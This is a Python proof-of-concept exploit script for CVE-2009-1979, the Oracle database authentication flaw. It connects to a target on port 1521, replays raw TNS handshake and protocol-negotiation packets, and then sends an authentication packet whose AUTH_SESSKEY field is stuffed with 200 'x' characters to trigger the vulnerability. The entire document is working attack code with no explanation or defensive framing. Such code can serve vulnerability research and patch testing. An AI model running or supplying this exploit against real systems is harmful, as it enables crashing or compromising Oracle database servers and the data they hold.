# one more CVE-2009-1979 example. # read more at http://blogs.conus.info/node/35 import sys import string import os from array import array from sys import * from socket import * from struct import * def form_NSPTDA_pkt (inn): pkt="" pkt=pkt+pack ('>h', len(inn)+10) # NSPHDLEN pkt=pkt+pack ('h', 0) # NSPHDPSM pkt=pkt+pack ('BB', 6 ,0) # pkt type, reserved pkt=pkt+pack ('h', 0) # NSPHDHSM pkt=pkt+pack ('h', 0) # NSPDAFLG pkt=pkt+inn return pkt def form_DTYAUTH_pkt (OPI, authusr, authflg, authivl): pkt="" pkt=pkt+pack ('BBB', 3, OPI, 3) # TTI, OPI, flag? pkt=pkt+pack ('IIIIIII', 0xFFFFFFFE, len(authusr), authflg, 0xFFFFFFFE, len (authivl), 0xFFFFFFFE, 0xFFFFFFFE) pkt=pkt+pack ('B', len(authusr)) + authusr for key in authivl: pkt=pkt+pack ('IB', len(key), len(key)) + key if len(authivl[key]) > 0: pkt=pkt+pack ('IB', len(authivl[key]), len(authivl[key])) + authivl[key] else: pkt=pkt+"\x00\x00\x00\x00" if key=="AUTH_SESSKEY" or key=="AUTH_ALTER_SESSION": pkt=pkt+pack ('I', 1) # flags else: pkt=pkt+pack ('I', 0) # flags return form_NSPTDA_pkt (pkt) sockobj = socket(AF_INET, SOCK_STREAM) sockobj.connect ((argv[1], 1521)) # send NSPTCN sockobj.send( "\x00\xF7\x00\x00\x01\x00\x00\x00\x01\x3A\x01\x2C\x00\x41\x20\x00" #".........:.,.A ." 00 "\x7F\xFF\xC6\x0E\x00\x00\x01\x00\x00\xBD\x00\x3A\x00\x00\x02\x00" #"...........:...." 10 '\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #"AA.............." 20 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52" #"..........(DESCR" 30 "\x49\x50\x54\x49\x4F\x4E\x3D\x28\x41\x44\x44\x52\x45\x53\x53\x3D" #"IPTION=(ADDRESS=" 40 "\x28\x50\x52\x4F\x54\x4F\x43\x4F\x4C\x3D\x54\x43\x50\x29\x28\x48" #"(PROTOCOL=TCP)(H" 50 "\x4F\x53\x54\x3D\x31\x39\x32\x2E\x31\x36\x38\x2E\x30\x2E\x32\x30" #"OST=192.168.0.20" 60 "\x35\x29\x28\x50\x4F\x52\x54\x3D\x31\x35\x32\x31\x29\x29\x28\x43" #"5)(PORT=1521))(C" 70 "\x4F\x4E\x4E\x45\x43\x54\x5F\x44\x41\x54\x41\x3D\x28\x53\x45\x52" #"ONNECT_DATA=(SER" 80 "\x56\x45\x52\x3D\x44\x45\x44\x49\x43\x41\x54\x45\x44\x29\x28\x53" #"VER=DEDICATED)(S" 90 "\x49\x44\x3D\x6F\x72\x63\x6C\x29\x28\x43\x49\x44\x3D\x28\x50\x52" #"ID=orcl)(CID=(PR" A0 "\x4F\x47\x52\x41\x4D\x3D\x43\x3A\x5C\x6F\x72\x61\x63\x6C\x65\x5C" #"OGRAM=C:\oracle\" B0 "\x63\x6C\x69\x65\x6E\x74\x2D\x31\x31\x2E\x31\x5C\x62\x69\x6E\x5C" #"client-11.1\bin\" C0 "\x75\x70\x69\x63\x75\x69\x2E\x65\x78\x65\x29\x28\x48\x4F\x53\x54" #"upicui.exe)(HOST" D0 "\x3D\x55\x4E\x49\x54\x31\x29\x28\x55\x53\x45\x52\x3D\x64\x65\x6E" #"=UNIT1)(USER=den" E0 "\x6E\x69\x73\x29\x29\x29\x29" #"nis)))) " F0 ) data=sockobj.recv(102400) # resend NSPTCN sockobj.send( "\x00\xF7\x00\x00\x01\x00\x00\x00\x01\x3A\x01\x2C\x00\x41\x20\x00" #".........:.,.A ." 00 "\x7F\xFF\xC6\x0E\x00\x00\x01\x00\x00\xBD\x00\x3A\x00\x00\x02\x00" #"...........:...." 10 '\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #"AA.............." 20 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x44\x45\x53\x43\x52" #"..........(DESCR" 30 "\x49\x50\x54\x49\x4F\x4E\x3D\x28\x41\x44\x44\x52\x45\x53\x53\x3D" #"IPTION=(ADDRESS=" 40 "\x28\x50\x52\x4F\x54\x4F\x43\x4F\x4C\x3D\x54\x43\x50\x29\x28\x48" #"(PROTOCOL=TCP)(H" 50 "\x4F\x53\x54\x3D\x31\x39\x32\x2E\x31\x36\x38\x2E\x30\x2E\x32\x30" #"OST=192.168.0.20" 60 "\x35\x29\x28\x50\x4F\x52\x54\x3D\x31\x35\x32\x31\x29\x29\x28\x43" #"5)(PORT=1521))(C" 70 "\x4F\x4E\x4E\x45\x43\x54\x5F\x44\x41\x54\x41\x3D\x28\x53\x45\x52" #"ONNECT_DATA=(SER" 80 "\x56\x45\x52\x3D\x44\x45\x44\x49\x43\x41\x54\x45\x44\x29\x28\x53" #"VER=DEDICATED)(S" 90 "\x49\x44\x3D\x6F\x72\x63\x6C\x29\x28\x43\x49\x44\x3D\x28\x50\x52" #"ID=orcl)(CID=(PR" A0 "\x4F\x47\x52\x41\x4D\x3D\x43\x3A\x5C\x6F\x72\x61\x63\x6C\x65\x5C" #"OGRAM=C:\oracle\" B0 "\x63\x6C\x69\x65\x6E\x74\x2D\x31\x31\x2E\x31\x5C\x62\x69\x6E\x5C" #"client-11.1\bin\" C0 "\x75\x70\x69\x63\x75\x69\x2E\x65\x78\x65\x29\x28\x48\x4F\x53\x54" #"upicui.exe)(HOST" D0 "\x3D\x55\x4E\x49\x54\x31\x29\x28\x55\x53\x45\x52\x3D\x64\x65\x6E" #"=UNIT1)(USER=den" E0 "\x6E\x69\x73\x29\x29\x29\x29" #"nis)))) " F0 ) data=sockobj.recv(102400) #hexdump(data) # send NA sockobj.send( "\x00\x9C\x00\x00\x06\x00\x00\x00\x00\x00\xDE\xAD\xBE\xEF\x00\x92" "\x0B\x10\x06\x00\x00\x04\x00\x00\x04\x00\x03\x00\x00\x00\x00\x00" "\x04\x00\x05\x0B\x10\x06\x00\x00\x08\x00\x01\x00\x00\x18\x64\x66" "\x9B\xCC\x31\x00\x12\x00\x01\xDE\xAD\xBE\xEF\x00\x03\x00\x00\x00" "\x04\x00\x04\x00\x01\x00\x01\x00\x02\x00\x01\x00\x03\x00\x00\x00" "\x00\x00\x04\x00\x05\x0B\x10\x06\x00\x00\x02\x00\x03\xE0\xE1\x00" "\x02\x00\x06\xFC\xFF\x00\x02\x00\x02\x00\x00\x00\x00\x00\x04\x00" "\x05\x0B\x10\x06\x00\x00\x0C\x00\x01\x00\x11\x06\x10\x0C\x0F\x0A" "\x0B\x08\x02\x01\x03\x00\x03\x00\x02\x00\x00\x00\x00\x00\x04\x00" "\x05\x0B\x10\x06\x00\x00\x03\x00\x01\x00\x03\x01" ) data=sockobj.recv(102400) #send TTIPRO sockobj.send( "\x00\x25\x00\x00\x06\x00\x00\x00\x00\x00\x01\x06\x05\x04\x03\x02" #".%.............." "\x01\x00\x49\x42\x4D\x50\x43\x2F\x57\x49\x4E\x5F\x4E\x54\x2D\x38" #"..IBMPC/WIN_NT-8" "\x2E\x31\x2E\x30\x00" #".1.0. " ) data=sockobj.recv(102400) # send TTIDTY sockobj.send( "\x00\x4B\x00\x00\x06\x00\x00\x00\x00\x00\x02\xB2\x00\xB2\x00\x42" "\x25\x06\x01\x01\x01\x0D\x01\x01\x05\x01\x01\x01\x01\x01\x01\x01" "\x7F\xFF\x03\x09\x03\x03\x01\x00\x7F\x01\x1F\xFF\x01\x03\x01\x01" "\x3F\x01\x01\x05\x00\x01\x07\x02\x01\x00\x00\x18\x00\x01\x80\x00" "\x00\x00\x3C\x3C\x3C\x80\x00\x00\x00\xD0\x07" ) data=sockobj.recv(102400) params={} # send empty params set DTYAUTH_pkt=form_DTYAUTH_pkt (0x76, "ANYUSER", 1, params) sockobj.send (DTYAUTH_pkt) # read RPA data=sockobj.recv(102400) params={} params["AUTH_SESSKEY"]="x"*200 # string consisted of 200 "x" symbols params["AUTH_PASSWORD"]="0123456789ABCDEF0123456789ABCDEF" DTYAUTH_pkt=form_DTYAUTH_pkt (0x73, "ANYUSER", 0x121, params) sockobj.send (DTYAUTH_pkt) data=sockobj.recv(102400) sockobj.close()